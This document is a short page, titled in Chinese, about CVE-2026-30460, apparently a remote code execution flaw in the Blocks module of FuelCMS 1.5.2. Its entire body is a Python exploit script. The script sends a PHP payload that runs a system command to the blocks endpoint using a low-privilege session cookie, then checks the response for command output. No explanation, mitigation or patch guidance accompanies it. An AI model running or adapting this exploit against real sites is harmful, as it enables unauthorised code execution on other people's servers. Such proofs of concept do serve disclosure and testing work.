CVE-2026-30460 FuelCMS Blocks模块远程代码执行漏洞

import requests # Exploit Title: FuelCMS v1.5.2 - Blocks Module Authenticated RCE # Date: 2026-04-07 # Exploit Author: Analyst # Vendor Homepage: https://fuelcms.com/ # Software Link: https://github.com/daylightstudio/FUEL-CMS/ # Version: 1.5.2 target_url = "http://target-site/index.php/fuel/blocks/select" # Authentication cookie (low privilege user required) cookies = { "fuel_cid": "valid_low_priv_session_cookie" } # Malicious payload to execute system command (e.g., 'id') # The payload is injected into a parameter vulnerable to code execution payload = { "name": "test_block", "view": "<?php system('id'); ?>", "submitted": "Save" } try: response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Payload sent successfully!") # Check if command execution evidence exists in response if "uid=" in response.text: print("[+] Command execution successful!") print(response.text) else: print("[-] Target may be patched or payload failed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")